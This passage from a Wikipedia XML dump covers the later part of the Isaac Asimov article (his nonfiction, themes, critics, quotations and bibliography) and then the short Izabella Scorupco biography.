During the late 1950s and 1960s, Asimov shifted gears somewhat, and substantially decreased his fiction output (he published only four adult novels between 1957's ''[[The Naked Sun]]'' and 1982's ''Foundation's Edge'', two of which were mysteries). At the same time, he greatly increased his non-fiction production, writing mostly on science topics; the launch of [[Sputnik]] in 1957 engendered public concern over a &quot;science gap&quot;, which Asimov's publishers were eager to fill with as much material as he could write. Meanwhile, the monthly ''[[Magazine of Fantasy and Science Fiction]]'' invited him to continue his regular non-fiction column, begun in the now-folded bimonthly companion magazine ''[[Venture Science Fiction]]'', ostensibly dedicated to [[popular science]], but with Asimov having complete editorial freedom. The first of the ''F&amp;SF'' columns appeared in November of 1958, and they followed uninterrupted thereafter, with 399 entries, until Asimov's terminal illness took its toll.  These columns, periodically collected into books by his principal publisher, [[Doubleday]], helped make Asimov's reputation as a &quot;Great Explainer&quot; of science and were referred to by him as his only pop-science writing in which he never had to assume complete ignorance of the subjects at hand on the part of his readers.  The popularity of his first wide-ranging reference work, ''The Intelligent Man's Guide to Science'', also allowed him to give up most of his academic responsibilities and become essentially a full-time freelance writer.

He published ''Asimov's Guide to the Bible'' in two volumes&amp;mdash;covering the [[Old Testament]] in 1967 and the [[New Testament]] in 1969&amp;mdash;and then combined them into one 1300-page volume in 1981. Replete with maps and tables, the guide goes through the books of the [[Bible]] in order, explaining the history of each one and the political influences that affected it, as well as biographical information about the important characters.

Asimov also wrote several essays on the social contentions of his day, including &quot;Thinking About Thinking&quot; and &quot;Science: Knock Plastic&quot; (1967).

The great variety of information covered in Asimov's writings once prompted [[Kurt Vonnegut]] to ask, &quot;How does it feel to know everything?&quot;  Asimov replied that he only knew how it felt to have the ''reputation'' of omniscience&amp;mdash;&quot;Uneasy&quot;. (See ''In Joy Still Felt,'' chapter 30.) In the introduction to his story collection ''[[Slow Learner]],'' [[Thomas Pynchon]] admitted that he relied upon Asimov's science popularizations (and the ''[[Oxford English Dictionary]]'') to provide his knowledge of [[entropy]].

It is a mark of the friendship and respect accorded Asimov by [[Arthur C. Clarke]] that the so-called &quot;Asimov-Clarke Treaty of Park Avenue&quot;, put together as they shared a cab ride along [[Park Avenue (Manhattan)|Park Avenue]] in [[New York]], stated that Asimov was required to insist that Clarke was the best science fiction writer in the world (reserving second best for himself), while Clarke was required to insist that Asimov was the best science writer in the world (reserving second best for himself). Thus the dedication in Clarke's book ''[[Report on Planet Three]]'' (1972) reads:
''&quot;In accordance with the terms of the Clarke-Asimov treaty, the second-best science writer dedicates this book to the second-best science-fiction writer.&quot;''

===Other===
In addition to his interest in science, Asimov was also greatly interested in history.  Starting in the 1960s, he wrote fourteen popular history books, most notably ''The Greeks: A Great Adventure'' (1965), ''The Roman Republic'' (1966) and ''The Roman Empire'' (1967).

Never entirely lacking wit and humor, towards the end of his life Asimov published a series of collections of [[limerick (poetry)|limericks]], mostly written by himself, starting with ''[[Lecherous Limericks]]'', which appeared in 1975. ''Limericks:  Too Gross,'' whose title displays Asimov's love of [[pun]]s, contains 144 limericks by Asimov and an equal number by [[John Ciardi]]. He even created a slim volume of [[Sherlock Holmes|Sherlockian]] limericks (and embarrassed one fan by autographing her copy with an impromptu limerick that rhymed 'Nancy' with 'romancy'). Asimov's best attempt at Yiddish humor is found in ''Azazel, The Two Centimeter Demon'' where the two characters, both Jewish, talk over dinner, or lunch, or breakfast, the anecdotes of &quot;George&quot; and his friend Azazel. Asimov's ''Treasury of Humor'' is both a working joke book and a treatise propounding his views on humor theory. According to Asimov, the most essential element of humor is an abrupt change in point of view, one that suddenly shifts focus from the important to the trivial, or from the sublime to the ridiculous.  

Particularly in his later years, Asimov to some extent cultivated an image of himself as an amiable lecher.  In 1971, as a response to the popularity of sexual guidebooks such as ''The Sensuous Woman'' (by &quot;J&quot;) and ''The Sensuous Man'' (by &quot;M&quot;), Asimov published ''The Sensuous Dirty Old Man'' under the byline &quot;Dr. 'A'&quot;, but with his full name prominently displayed on the cover.

Asimov published two volumes of autobiography, taking their titles from [[William Wordsworth|Wordsworth]]: ''[[In Memory Yet Green]]'' (1979) and ''[[In Joy Still Felt]]'' (1980). A third autobiography, ''I. Asimov: A Memoir'', was published in April 1994.  The epilogue was written by his widow [[Janet Asimov]] shortly after his death. ''[[It's Been a Good Life]]'' (2002), edited by Janet, is a condensed version of his three autobiographies.

===Literary themes===
{{spoiler}} 

Much of Asimov's fiction dealt with themes of [[paternalism]]. His first robot story, &quot;[[Robbie]]&quot;, concerned a robotic [[nanny]]. Just as well, ''Lenny'' deals with the capacity of robopsychologist Susan Calvin to feel maternal love towards a robot whose positronic brain capacities are those of a 3-year-old. As the robots grew more sophisticated, their interventions became more wide-reaching and subtle. In &quot;[[Evidence (Asimov)|Evidence]]&quot;, a robot masquerading as a human successfully runs for elective office. In &quot;[[The Evitable Conflict]]&quot;, the robots run humanity from behind the scenes, acting as nannies to the whole species. 

Later, in ''[[Robots and Empire]]'', a robot develops what he calls the [[Zeroth Law of Robotics]], which states that &quot;A robot may not injure humanity, nor, through inaction, allow humanity to come to harm&quot;. He also decides that robotic presence is stifling humanity's freedom, and that the best course of action is for the robots to phase themselves out. A non-robot novel, ''[[The End of Eternity]]'', features a similar conflict and resolution. The significance of the Zeroth Law is that it outweighs and supersedes all other Laws of Robotics: if a robot finds himself in a situation whereby he must [[murder]] one or more humans (a direct violation of the [[First Law of Robotics]]) in order to protect all of humanity (and preserve the Zeroth Law), then the robot's positronic programming will require him to commit murder for humanity's sake.

In [[The Foundation Series]] (which did not originally have robots), a scientist implements a semi-secret plan to create a [[utopia|perfect society]] over the course of 1000 years. This series has its version of [[Plato's Republic|Platonic guardians]], called the Second Foundation, to perfect and protect the plan. When Asimov stopped writing the series in the 1950s, the Second Foundation was depicted as benign protectors of humanity. When he revisited the series in the 1980s, he made the paternalistic themes even more explicit.

''[[Foundation's Edge]]'' introduced the planet [[Gaia (planet)|Gaia]], obviously based on the [[Gaia hypothesis]]. Every animal, plant, and mineral on Gaia participated in a shared consciousness, forming a single super-mind working together for the greater good. In ''[[Foundation and Earth]]'', the protagonist must decide whether or not to allow the development of [[Galaxia]], a larger version of Gaia, encompassing the entire galaxy. [[Gaia (planet)|Gaia]] is one of Asimov's best attempts at exploring the possibility of a collective awareness, and is compounded further in  ''[[Nemesis (Asimov)|Nemesis]]'', in which the planet ''Erythro'' composed primarily of prokaryotic life has a mind of its own and seeks communion with human beings.

''Foundation and Earth'' introduces robots to the Foundation universe.  Two of Asimov's last novels, ''[[Prelude to Foundation]]'' and ''[[Forward the Foundation]]'', explore their behavior in fuller detail. The robots are depicted as [[covert operative]]s, acting for the benefit of humanity.

Another frequent theme, perhaps the reverse of paternalism, is social oppression.  ''[[The Currents of Space]]'' takes place on a planet where a unique plant fiber is grown; the agricultural workers there are exploited by the aristocrats of a nearby planet.  In ''[[The Stars, Like Dust]]'', the hero helps a planet that is oppressed by an arrogant interplanetary empire, the Tyranni.

Often the victims of oppression are either Earth people (as opposed to colonists on other planets) or robots. In &quot;The Bicentennial Man&quot;, a robot fights prejudice to be accepted as a human.  In ''[[The Caves of Steel]]'', the people of Earth resent the wealthier &quot;Spacers&quot; and in turn treat robots (associated with the Spacers) in ways reminiscent of how whites treated blacks, such as addressing robots as &quot;boy&quot;. ''[[Pebble in the Sky]]'' shows an analogous situation: the Galactic Empire rules Earth and its people use such terms as &quot;Earthie-squaw&quot;, but Earth is a theocratic dictatorship that enforces [[euthanasia]] of anyone older than sixty.  One hero is Bel Arvardan, an upper-class Galactic archeologist who must overcome his prejudices.  The other is Joseph Schwartz, a 62-year-old twentieth-century American who had emigrated from [[Europe]], where his people were persecuted (he is quite possibly [[Jew]]ish), and is accidentally transported forward in time to Arvardan's period.  He must decide whether to help a downtrodden society that thinks he should be dead.

Yet another frequent theme in Asimov is rational thought.  He invented the science-fiction [[mystery fiction|mystery]] with the novel ''The Caves of Steel'' and the stories in ''[[Asimov's Mysteries]]'', usually playing fair with the reader by introducing early in the story any science or technology involved in the solution.  Later, he produced non-SF mysteries, including the novel ''[[Murder at the ABA]]'' (1976) and the &quot;[[Black Widowers]]&quot; short stories, in which he followed the same rule.  In his fiction, important scenes are often essentially debates, with the more rational, humane&amp;mdash;or persuasive&amp;mdash;side winning.

==Criticisms==
One of the most common impressions of Asimov's fiction work is that his writing style is extremely unornamental. In 1980, SF scholar [[James Gunn (author)|James Gunn]] wrote of ''I, Robot'' that
:Except for two stories&amp;mdash;&quot;[[Liar!]]&quot; and &quot;[[Evidence (Asimov)|Evidence]]&quot;&amp;mdash;they are not stories in which character plays a significant part. Virtually all plot develops in conversation with little if any action. Nor is there a great deal of local color or description of any kind. The dialogue is, at best, functional and the style is, at best, transparent. [...] The robot stories&amp;mdash;and, as a matter of fact, almost all Asimov fiction&amp;mdash;play themselves on a relatively bare stage.

This description applies well to a large proportion of Asimov's fiction, including that written after 1980. Gunn observes that there are places where Asimov's style rises to the demands of the situation; he cites the climax of &quot;Liar!&quot; as an example. Sharply-drawn characters occur at key junctures of his storylines: in addition to [[Susan Calvin]] in &quot;Liar!&quot; and &quot;Evidence&quot;, we find [[Arkady Darell]] in ''[[Second Foundation]],'' [[Elijah Baley]] in ''[[The Caves of Steel]]'' and [[Hari Seldon]] in the Foundation prequels. (In ''[[Forward the Foundation]],'' Seldon becomes a partial mirror of Asimov himself.)

These criticisms are to some extent the flip side of Asimov's aforementioned rationalism:  his books, like his characters, tend to be cerebral and more interested in ideas and puzzles than in character and feeling.  His idea of &quot;[[psychohistory]],&quot; where the individual quirks of human beings could be averaged out at the statistical level of an entire galaxy's population, is perhaps revealing in that regard.  What helps keep Asimov's fiction readable is the charm of the author, which is conveyed to his characters.

Asimov was also criticised for the lack of sex and aliens in his science fiction. Asimov once explained that his reluctance to write about aliens came from an incident early in his career when ''Astounding'''s editor John Campbell rejected one of his early science fiction stories because the alien characters were portrayed as superior to the humans. He decided that, rather than write weak alien characters, he would not write about aliens at all. Nevertheless, in response to these criticisms he wrote ''[[The Gods Themselves]]'', which contains aliens, sex, and alien sex. Asimov said that of all his writings, he was most proud of the middle section of ''The Gods Themselves''.

Others have criticised him for a lack of strong female characters in his early work. In his autobiographical writings, he acknowledges this, and responds by pointing to inexperience. His later novels, written with more female characters but in essentially the same prose style as his early SF stories, brought this matter to a wider audience. For example, the [[25 August]] [[1985]] ''Washington Post''&lt;nowiki&gt;'&lt;/nowiki&gt;s &quot;Book World&quot; section reports of ''Robots and Empire'' as follows: 

:In 1940, Asimov's humans were stripped-down masculine portraits of Americans from 1940, and they still are. His robots were tin cans with speedlines like an old Studebaker, and still are; the Robot tales depended on an increasingly unworkable distinction between movable and unmovable artificial intelligences, and still do. In the Asimov universe, because it was conceived a long time ago, and because its author abhors confusion, there are no computers whose impact is worth noting, no social complexities, no genetic engineering, aliens, arcologies, multiverses, clones, sin or sex; his heroes (in this case [[R. Daneel Olivaw]], whom we first met as the robot protagonist of ''The Caves of Steel'' and its sequels) feel no pressure of information, raw or cooked, as the simplest of us do today; they suffer no deformation from the winds of the Asimov future, because it is so deeply and strikingly orderly.

A considerable portion of such criticism boils down to the charge that Asimov's works are simply dated.  In fact, some details of Asimov's imaginary future technology as he described more than fifty years ago have not aged well.  He has, for example, described powerful robots and computers from the distant future as still using [[punch card]]s or [[punch tape]] and engineers using [[slide rule]]s.  His stories also have occasional internal contradictions:  names and dates given in [[The Foundation Series]] do not always agree with one another, for example.  Some such errors may plausibly be due to mistakes the characters make, since characters in Asimov stories are seldom fully informed about their own situations.  Other contradictions resulted from the many years elapsed between the time Asimov began the Foundation series and when he resumed work on it; occasionally, advances in scientific knowledge forced him to [[retcon]] his own fictional history.

Other than the books by Gunn and Patrouch, there is a relative dearth of &quot;literary&quot; criticism on Asimov (particularly when compared to the sheer volume of his output).  Cowart and Wymer's ''Dictionary of Literary Biography'' (1981) gives a possible reason:

:His words do not easily lend themselves to traditional literary criticism because he has the habit of centering his fiction on plot and clearly stating to his reader, in rather direct terms, what is happening in his stories and why it is happening.  In fact, most of the dialogue in an Asimov story, and particularly in the [Foundation] trilogy, is devoted to such exposition.  Stories that clearly state what they mean in unambiguous language are the most difficult for a scholar to deal with because there is little to be interpreted.

In fairness, Gunn and Patrouch's respective studies of Asimov both take the stand that a clear, direct prose style is still a style. Gunn's 1982 book goes into considerable depth commenting upon each of Asimov's novels published to that date. He does not praise all of Asimov's fiction (and nor does Patrouch), but he does call some passages in ''[[The Caves of Steel]]'' &quot;reminiscent of [[Marcel Proust|Proust]]&quot;. When discussing how that novel depicts night falling over futuristic [[New York City]], Gunn says that Asimov's prose &quot;need not be ashamed anywhere in literary society&quot;.

Although he prided himself on his unornamented prose style (for which he credited [[Clifford Simak]] as an early influence), Asimov also enjoyed giving his longer stories complicated narrative structures, often by arranging chapters in non-chronological ways.  Some readers have been put off by this, complaining that the nonlinearity is not worth the trouble and adversely impacts the clarity of the story.  For example, the first third of ''The Gods Themselves'' begins with Chapter 6, then backtracks to fill in earlier material [http://homepage.mac.com/jhjenkins/Asimov/Books/Book121.html].  (In fairness, one should note that John Campbell advised Asimov to begin his stories as late in the plot as possible.  This tidbit of advice helped Asimov create &quot;[[Reason (Asimov)|Reason]],&quot; one of the early Robot stories.  See ''In Memory Yet Green'' for details of that time period.)  Asimov's tendency to contort his timelines is perhaps most apparent in his later novel ''[[Nemesis (Asimov)|Nemesis]],'' in which one group of characters live in the &quot;present&quot; and another group starts in the &quot;past&quot;, beginning fifteen years earlier and gradually moving toward the time period of the first group.

In 2002,  [[Donald Palumbo]], an English professor at [[East Carolina University]] published  ''Chaos Theory, Asimov’s Foundations and Robots, and Herbert’s Dune: The Fractal Aesthetic of Epic Science Fiction''.  This includes a review of Asimov's narrative structures that compares them with the scientific concepts of [[fractals]] and [[chaos]].  Palumbo finds that a fascination with the [[The Foundation Series|Foundation]] and [[Isaac Asimov's Robot Series|Robot]] [[metaseries]] remains, and he determines that the purposeful complexities of the narrative build unusual symmetric and recursive structures to be perceived by the mind's eye.  This volume contains some of the most scholarly and in-depth criticism of Asimov to date.

John Jenkins, who has reviewed the vast majority of Asimov's written output, once observed,
:It has been pointed out that most sf writers since the 1950s have been affected by Asimov, either modeling their style on his or deliberately avoiding anything like his style. [http://homepage.mac.com/jhjenkins/Asimov/NonAsimov/White.html]

In the [[Hugo Award]]-winning novella, &quot;[[Gold (Asimov short story)|Gold]]&quot;, Asimov describes an author clearly based on himself who has one of his books (''[[The Gods Themselves]]'') adapted into a &quot;compu-drama&quot;, essentially photo-realistic [[computer animation]]. The director criticizes the fictionalized Asimov (&quot;Gregory Laborian&quot;) for having an extremely non-visual style making it difficult to adapt his work, and the author explains that he relies on ideas and dialogue rather than description to get his points across. Ironically, the story mimics the same style the author in it uses to describe his work, and one can see it as Asimov's reply to his critics.

==Quotations==
{{wikiquote}}
* &quot;If my doctor told me I had only six minutes to live, I wouldn't brood. I'd type a little faster.&quot;
* &quot;Writing, to me, is simply thinking through my fingers.&quot;
* &quot;Night was a wonderful time in Brooklyn in the 1930s. [[Air conditioning]] was unknown except in [[movie theater|movie houses]], and so was [[television]]. There was nothing to keep one in the house. Furthermore, few people owned [[automobile]]s, so there was nothing to carry one away. That left the streets and the stoops. The very fullness served as an inhibition to [[crime]].&quot;
* &quot;What I ''will'' be remembered for are the [[Foundation Trilogy]] and the [[Three Laws of Robotics]]. What I ''want'' to be remembered for is no one book, or no dozen books. Any single thing I have written can be paralleled or even surpassed by something someone else has done. However, my total corpus for quantity, quality and ''variety'' can be duplicated by no one else. That is what I want to be remembered for&quot;, [[September 20]], [[1973]], ''Yours, Isaac Asimov,'' page 329.
* &quot;Violence is the last refuge of the incompetent.&quot; [[Salvor Hardin]], a character in ''[[Foundation (novel)|Foundation]].''
*&quot;The most exciting phrase to hear in science, the one that heralds new discoveries, is not 'Eureka!' (I've found it!), but 'That's funny...'&quot;

==Selected bibliography==
In addition, see [[Isaac Asimov complete bibliography]]. For a recommended reading-order see the [[Foundation Series#List of books|Foundation Series list of books]]. Asimov aspired to write 500 books but did not quite reach that total; he wrote over 463 titles. If all titles, charts, and edited collections are counted, there are currently 509 items in his complete bibliography. Asimov could have written an ''Opus 400'', which would have been a celebration of his 400th title; the bibliography lists only up to his commemorative ''[[Opus 300]]''.

===Science fiction===
====&quot;Greater Foundation&quot; series====
The Robot series was originally separate from the Foundation series.  The Galactic Empire novels were originally published as independent stories. Later in life, Asimov synthesized them into a single coherent 'history' that appeared in the extension of the ''Foundation'' series.

'''The Robot series:'''
* ''[[The Caves of Steel]]'' (1954), ISBN 0553293400 (first [[Elijah Baley]] SF-crime novel)
* ''[[The Naked Sun]]'' (1957), ISBN 0553293397 (second Elijah Baley SF-crime novel)
* ''[[The Robots of Dawn]]'' (1983), ISBN 0553299492 (third Elijah Baley SF-crime novel)
* ''[[Robots and Empire]]'' (1985) (sequel to the Elijah Baley trilogy)
* ''[[The Positronic Man]]'' (1993) (with Robert Silverberg, a novel based on Asimov's earlier short story &quot;[[The Bicentennial Man]]&quot;)

'''Galactic Empire series:'''
* ''[[Pebble in the Sky]]'' (1950)
* ''[[The Stars, Like Dust]]'' (1951)
* ''[[The Currents of Space]]'' (1952)

'''Original Foundation trilogy:'''
* ''[[Foundation (novel)|Foundation]]'' (1951), ISBN 0553293354 
* ''[[Foundation and Empire]]'' (1952), ISBN 0553293370 
* ''[[Second Foundation]]'' (1953), ISBN 0553293362

'''Extended Foundation series:'''
* ''[[Foundation's Edge]]'' (1982), ISBN 0553293389
* ''[[Foundation and Earth]]'' (1986), ISBN 0553587579
* ''[[Prelude to Foundation]]'' (1988), ISBN 0553278398
* ''[[Forward the Foundation]]'' (1993), ISBN 0385247931 (hardcover), ISBN 0553404881 (paperback)

====Novels not part of a series====
* ''[[The End of Eternity]]'' (1955) 
* ''[[Fantastic Voyage]]'' (1966) (a novelization of the movie featuring a team of American scientists traveling within a human body)
* ''[[The Gods Themselves]]'' (1972) 
* ''[[Fantastic Voyage II: Destination Brain]]'' (1987) (not a sequel to the first ''Fantastic Voyage,'' but an independent story)
* ''[[Nemesis (Asimov)|Nemesis]]'' (1989)
* ''[[Nightfall (Asimov)|Nightfall]]'' (1990) (with [[Robert Silverberg]], a novel based on the earlier short story) 
* ''[[The Ugly Little Boy]]'' (1992) (with Robert Silverberg, a novel based on an earlier short story)

(While primarily independent, some of these novels have very minor connections to the Foundation series.)

====Short story collections====
''Also see [[List of short stories by Isaac Asimov]]''

* ''[[I, Robot]]'' (1950), ISBN 0553294385
* ''[[The Martian Way and Other Stories]]'' (1955)
* ''[[Earth Is Room Enough]]'' (1957)
* ''[[Nine Tomorrows]]'' (1959)
* ''[[The Rest of the Robots]]'' (1964)
* ''[[Nightfall and Other Stories]]'' (1969)
* ''[[The Early Asimov]]'' (1972)
* ''[[The Best of Isaac Asimov]]'' (1973)
* ''[[Buy Jupiter and Other Stories]]'' (1975)
* ''[[The Bicentennial Man and Other Stories]]'' (1976)
* ''[[The Complete Robot]]'' (1982)
* ''[[The Winds of Change and Other Stories]]'' (1983)
* ''[[Robot Dreams]]'' (1986)
* ''[[Azazel]]'' (1988)
* ''[[Gold (Asimov)|Gold]]'' (1990)
* ''[[Robot Visions]]'' (1990) ISBN 0-451-45064-7
* ''[[Magic (Asimov)|Magic]]'' (1995)

===Mysteries===
====Novels====
* ''[[The Death Dealers]]'' (1958) (later republished as ''A Whiff of Death'')
* ''[[Murder at the ABA]]'' (1976) (also published as ''Authorized Murder'')

====Short story collections====
[[Black Widowers]] and others
* ''[[Asimov's Mysteries]]'' (1968)
* ''[[Tales of the Black Widowers]]'' (1974)
* ''[[More Tales of the Black Widowers]]'' (1976)
* ''[[Casebook of the Black Widowers]]'' (1980)
* ''[[Banquets of the Black Widowers]]'' (1984)
* ''[[The Best Mysteries of Isaac Asimov]]'' (1986)
* ''[[Puzzles of the Black Widowers]]'' (1990)
* ''[[Return of the Black Widowers]]'' (2003) contains stories uncollected at the time of Asimov's death, in addition to contributions by [[Charles Ardai]] and [[Harlan Ellison]]

===Nonfiction===
====Popular science====
'''Collections of columns from the [[Magazine of Fantasy and Science Fiction]]'''
# ''[[Fact and Fancy]]'' (1962)
# ''[[View from a Height]]'' (1963)
# ''[[Adding a Dimension]]'' (1964)
# ''[[Of Time, Space, &amp; Other Things]]'' (1965)
# ''[[From Earth to Heaven]]'' (1966)
# ''[[Science, Numbers and I (book)|Science, Numbers and I]]'' (1968)
# ''[[The Solar System and Back]]'' (1970)
# ''[[The Stars in Their Course]]'' (1971)
# ''[[Left Hand of the Electron]]'' (1972)
# ''[[The Tragedy of the Moon]]'' (1973)
# ''[[Of Matters Great &amp; Small]]'' (1975)
# ''[[The Planet that Wasn't]]'' (1976)
# ''[[Quasar, Quasar, Burning Bright]]'' (1977)
# ''[[Road to Infinity]]'' (1979)
# ''[[The Sun Shines Bright]]'' (1981)
# ''[[Counting the Eons]]'' (1983)
# ''[[X Stands for Unknown]]'' (1984)
# ''[[The Subatomic Monster]]'' (1985)
# ''[[Far as Human Eye Could See]]'' (1987)
# ''[[The Relativity of Wrong]]'' (1988)
# ''[[Out of Everywhere]]'' (1990)
# ''[[The Secret of The Universe]]'' (1990)

'''Others'''
* ''[[Asimov on Numbers]]'' (1959)
* ''[[Asimov's Chronology of Science and Discovery]]'' (1989, second edition extends to 1993)
* ''[[Asimov's Chronology of the World]]'' (1991)
* ''[[The Chemicals of Life (book)|The Chemicals of Life]]'' (1954)
* ''[[The Clock We Live On (book)|The Clock We Live On]]'' (1959)
* ''[[The Collapsing Universe (book)|The Collapsing Universe ]]'' (1977) ISBN 0-671-81738-8
* ''[[The Earth (Asimov)|The Earth]]'' (2004, revised by Richard Hantula)
* ''[[Exploring the Earth and the Cosmos]]'' (1982)
* ''[[The Human Brain (book)|The Human Brain]]'' (1964)
* ''[[Inside the Atom (book)|Inside the Atom]]'' (1956)
* ''[[Isaac Asimov's Guide to Earth and Space]]'' (1991)
* ''[[The Intelligent Man's Guide to Science]]'' (1965)
* ''[[Jupiter (Asimov)|Jupiter]]'' (2004, revised by [[Richard Hantula]])
* ''[[Life and Energy (book)|Life and Energy]]'' (1962)
* ''[[The Neutrino (book)|The Neutrino]]'' (1966)
* ''[[Our World in Space (book)|Our World in Space]]'' (1974)
* ''[[The Sun (Asimov)|The Sun]]'' (2003, revised by Richard Hantula)
* ''[[The Universe: From Flat Earth to Quasar (book)|The Universe: From Flat Earth to Quasar]]'' (1966)
* ''[[Venus (Asimov)|Venus]]'' (2004, revised by Richard Hantula)
* ''[[Views of the Universe (book)|Views of the Universe]]'' (1981)
* ''[[Words of Science and the History Behind Them]]'' (1959)
* ''[[The World of Carbon (book)|The World of Carbon]]'' (1958)
* ''[[The World of Nitrogen (book)|The World of Nitrogen]]'' (1958)

====Annotations====
* ''Asimov's Annotated &quot;[[Don Juan]]&quot;''
* ''Asimov's Annotated &quot;[[Paradise Lost]]&quot;''
* ''Asimov's Annotated [[Gilbert and Sullivan]]''
* ''The Annotated &quot;[[Gulliver's Travels]]&quot;''

====Guides====
* ''Asimov's Guide to the [[Bible]], vols I and II'' (1981), ISBN 0-517-34582-X
* ''Asimov's Guide to [[Shakespeare]]

===Other===
* ''[[Opus 100]]'' (1969)
* ''The Sensuous Dirty Old Man'' (1971)
* ''[[Asimov's Biographical Encyclopedia of Science and Technology]]'' ([[1972 in literature|1972]])
* ''[[Opus 200]]'' (1979)
* ''[[Isaac Asimov's Book of Facts]]'' (1979)
* ''[[The Roving Mind]]'' (1983) (collection of essays).  New edition published by [[Prometheus Books]], 1997, ISBN 1-57392-181-5.

==References==
===Print media===
* Asimov, Isaac.  ''In Memory Yet Green'' (1979).  
:''In Joy Still Felt'' (1980).
:''I, Asimov: A Memoir'' (1994).
:''Yours, Isaac Asimov'' (1996), edited by Stanley Asimov.  ISBN 0-3854-7624-8.
:''It's Been a Good Life'' (2002), edited by Janet Asimov.  ISBN 1-5739-2968-9.
* Goldman, Stephen H., &quot;Isaac Asimov&quot;, in ''Dictionary of Literary Biography,'' Vol. 8, Cowart and Wymer eds., (Gale Research, 1981), pp. 15-29.
* Gunn, James.  &quot;On Variations on a Robot&quot;, ''[[Asimov's Science Fiction|IASFM]]'', July 1980, pp. 56-81.  Reprinted in the 1982 book.
:''Isaac Asimov: The Foundations of Science Fiction'' (1982).  ISBN 0-19-503060-5.
:''The Science of Science-Fiction Writing'' (2000).  ISBN 1-5788-6011-3.

===Online===
:''The following links were last verified on [[4 February]] [[2006]].
*[http://www.asimovonline.com/ Isaac Asimov Home Page]
**[http://www.asimovonline.com/oldsite/asimov_big_list.html Complete list of works] 
**[http://www.asimovonline.com/asimov_FAQ.html FAQ]
*[http://homepage.mac.com/jhjenkins/Asimov/Asimov.html Jenkins' Spoiler-Laden Guide to Isaac Asimov] (reviews and ratings)

==Further reading==
===Print media===
* {{cite book
 | last = Fiedler | first = Jean
 | coauthors = Jim Mele
 | title = Isaac Asimov
 | year = 1982
 | id = ISBN 0-8044-2203-6
 }}
* {{cite book
 | author = [[Joseph D. Oleander]] and [[Martin H. Greenberg]] (editors)
 | title = Isaac Asimov
 | year = 1974
 | id = ISBN 0-8008-4258-8, Hardback ISBN 080084257X
 }}
* {{cite book
 | last = Patrouch | first = Joseph F.
 | title = The Science Fiction of Isaac Asimov
 | year = 1977
 | id = ISBN 0-385-08696-2
 }}
* {{cite book
 | last = Touponce | first = William F.
 | title = Isaac Asimov
 | year = 1991
 | id = ISBN 0-8057-7623-0
 }}
* {{cite book
 | last = White | first = Michael
 | title = Asimov: The Unauthorized Life
 | year = 1994
 | id = ISBN 0140041303
 }}

===Online===
:''The following links were last verified [[24 June]] [[2005]].
*{{isfdb name|id=Isaac_Asimov|name=Isaac Asimov}}
*{{imdb name|id=0001920|name=Isaac Asimov}}
*{{nndb name|id=702/000023633|name=Isaac Asimov}}
* {{ibdof name | id = 68 | name = Isaac Asimov }} {Work in Progress}
**[http://www.ibdof.com/viewforum.php?f=62 Discussion group for Asimov] at [[The Internet Book Database of Fiction]]
*[http://www.asimovonline.com/oldsite/future_of_humanity.html The Future of humanity: What Asimov thinks is the way forward for us]
*[http://www.angelfire.com/wi/mikebru/Alps.html Religion in Asimov's Writings: An essay by Michael Brummond]
*[http://www.asimovians.com www.asimovians.com] (Forum on Asimov, his works and everything else) 
*[http://wiredforbooks.org/isaacasimov/ 1987 Audio Interview with Isaac Asimov - RealAudio (24 min. 59 sec.)]
* [http://freesfonline.de/authors/asimov.html Isaac Asimov's online fiction] at [http://freesfonline.de/ Free Speculative Fiction Online]
* [http://books.guardian.co.uk/authors/author/0,5917,-9,00.html Guardian Books &quot;Author Page&quot;], with profile and links to further articles.
* [http://www.geocities.com/Area51/Dimension/1136/pages/eghome.html Encyclopedia Galactica] - an exhaustive reference to Asimov's fictional worlds.
* [http://www.sikander.org/foundation.php Detailed timeline for the Robots and Foundation Universe]
* [http://homepage.mac.com/jhjenkins/Asimov/SCategory.html Lists of Isaac Asimov’s short fiction] (by category)

[[Category:1920 births|Asimov, Isaac]]
[[Category:1992 deaths|Asimov, Isaac]]
[[Category:AIDS-related deaths|Asimov, Isaac]]
[[Category:American essayists|Asimov, Isaac]]
[[Category:American science fiction writers|Asimov, Isaac]]
[[Category:Atheists|Asimov, Isaac]]
[[Category:Columbia alumni|Asimov, Isaac]]
[[Category:Futurists|Asimov, Isaac]]
[[Category:Hugo Award winning authors|Asimov, Isaac]]
[[Category:Humanists|Asimov, Isaac]]
[[Category:Isaac Asimov| ]]
[[Category:Jewish American writers|Asimov, Isaac]]
[[Category:Mystery writers|Asimov, Isaac]]
[[Category:Naturalized citizens of the United States|Asimov, Isaac]]
[[Category:Nebula Grand Masters|Asimov, Isaac]]
[[Category:Polymaths|Asimov, Isaac]]
[[Category:Russian biochemists|Asimov, Isaac]]
[[Category:Russian people|Asimov, Isaac]]
[[Category:Science fiction writers|Asimov, Isaac]]
[[Category:Science writers|Asimov, Isaac]]
[[Category:Skeptics|Asimov, Isaac]]

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    </revision>
  </page>
  <page>
    <title>Izabella Scorupco</title>
    <id>14575</id>
    <revision>
      <id>39298778</id>
      <timestamp>2006-02-12T04:32:49Z</timestamp>
      <contributor>
        <username>KenL</username>
        <id>465210</id>
      </contributor>
      <text xml:space="preserve">[[Image:Izabella scorupco.jpg|thumb|200px|right|Izabella Scorupco as Natalya Simonova in &quot;GoldenEye&quot;.]]'''Izabella Dorota Scorupco''' (born [[June 4]] [[1970]]) is an [[actress]] who is most famous for appearing as [[Bond girl]] [[Natalya Simonova]] in the 1995 [[James Bond]] film ''[[GoldenEye]]''.

Scorupco was born in [[Białystok]], [[Poland]] to Lech and Magdalena. When she was only one year old her parents split up and Izabella came to live with her mother. In [[1978]] the two moved to [[Bredäng]] in [[Stockholm]], [[Sweden]]. She learned to speak [[Swedish language|Swedish]] and [[English language|English]] during this time, in addition to her native [[Polish language|Polish]].

She worked as a model and in [[1989]] she was discovered by director [[Staffan Hildebrand]] and starred in the movie ''[[Ingen kan älska som vi]]''.

She was married to [[ice hockey]] player [[Mariusz Czerkawski]] between December [[1996]] and [[2000]]. They have one daughter together, Julia (born September [[1997]]). On [[January 30]], [[2003]] she married [[United States|American]] Jeffrey Raymond. Together they have a young son, Jacob (born [[July 24]], [[2003]]).

==Selected filmography==
*''[[Exorcist: The Beginning]]'' (2004)
*''[[Reign of Fire]]'', (2002)
*''[[Vertical Limit]]'', (2000)
*''[[With Fire and Sword]]'' (''Ogniem i mieczem'', [[1999]]) - Polish movie
*''[[GoldenEye]]'', (1995)
*''[[Ingen kan älska som vi]]'', (1989)

==External links==
*[http://www.izabella-scorupco.com Izabella Scorupco website]
*[http://www.IzabellaScorupco.net Izabella Scorupco Fan Site]
*{{imdb name|id=0001713|name=Izabella Scorupco}}

